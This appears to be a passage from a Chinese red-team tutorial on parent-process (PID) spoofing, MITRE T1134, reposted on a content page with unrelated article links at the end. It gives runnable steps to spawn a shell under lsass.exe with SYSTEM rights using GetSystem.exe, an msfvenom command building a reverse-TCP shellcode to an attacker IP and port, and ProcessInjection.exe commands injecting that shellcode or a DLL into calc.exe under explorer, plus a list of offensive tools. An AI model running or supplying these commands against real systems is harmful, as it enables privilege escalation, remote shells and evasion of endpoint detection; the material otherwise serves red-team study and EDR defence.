T1134 红队技术-父进程欺骗( 三 )

文章插图
可以看到在lsass.exe下成功创建了子进程，因为lsass.exe是system权限，所以反弹shell也获取到了system权限。

文章插图

文章插图
方法四（使用C#程序进行PID欺骗）
py7hagoras开发了GetSystem项目，是上述技术的C#实现，可以在这里找到：***/py7hagoras/GetSystem.git
在目标机上下载GetSystem.exe，然后执行GetSystem.exe 自定义程序 -O 目标进程名
GetSystem.exe shell.exe -O lsass

文章插图

文章插图
注意：这里可能也需要绕过UAC或者提权，不然执行不成功。
方法五（通过PID欺骗注入Shellcode）
Chirag Savla 使用 C# 开发了一个名为“ProcessInjection”的出色工具，它可以执行许多功能，包括通过 PID 欺骗进行的进程注入。通过提供有效的 PID，该工具会尝试使用 CreateProcess 等原生 API 调用来欺骗 PID，然后将代码注入其中。该工具支持 hex、C 和 base64 格式的shellcode ，也可以选择 DLL 注入。工具在这里下载：***/3xpl01tc0d3r/ProcessInjection
首先，使用msfvenom创建一个shellcode代码
msfvenom -p windows/x64/shell_reverse_tcp -exitfunc=thread LHOST=172.19.218.248 LPORT=7777 -f hex > /hex.txt然后在目标机中下载

文章插图
使用ProcessInjection.exe进行注入
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1参数说明：
/ppath：目标 EXE 的进程路径（需要注入进程的路径）
/path：shellcode文件路径
/parentproc：父进程名称，目标EXE应在此进程下生成
/f：shellcode文件类型
/t：注入技术

支持的五种注入方式：
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) Dynamic Invoke - Vanilla Process Injection

文章插图
我们可以看到calc.exe在explorer.exe下，而shellcode则在calc.exe中执行。

文章插图

文章插图
也可以进行DLL注入
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"shell.dll" /parentproc:explorer /t:2

文章插图

文章插图

其他工具
***/Mr-Un1k0d3r/RemoteProcessInjection
***/xpn/getsystem-offline
***/hlldz/APC-PPID
***/ewilded/PPID_spoof
***/christophetd/spoofing-office-macro （VBA实现）
在Metasploit中Meterpreter 可以使用migrate命令或者后渗透模块post/windows/manage/migrate也可以实现进程迁移。
总结
攻击者广泛使用该技术进行检测规避，并增加了应急响应人员检测IoC的时间。针对许多过时的和未打补丁的EDR解决方案，可以使用此技术轻松规避检测。通过本文，告诉大家在组织中应该使用最新的EDR解决方案以及在可以捕捉此类技术的优质产品中使用智能检测功能的重要性。

T1134 红队技术-父进程欺骗( 三 )

推荐阅读

关于节约粮食的名言诗句关于节约粮食的名言和诗句

奋斗励志朋友圈句子励志短句致自己奋斗朋友圈

想发朋友圈表示心情不好的句子心情不好发朋友圈的句子心情短句

贝拉玻尿酸是合法的吗贝拉玻尿酸是进口的还是国产的

核桃仁做菜的菜谱，您知道桃仁脆溜鸡的做法

浅紫色显皮肤黑还是白

库伦旗景点

居家隔离和集中隔离的区别什么情况下要隔离28天

蝉蛹是什么

怎样能丰胸最安全有效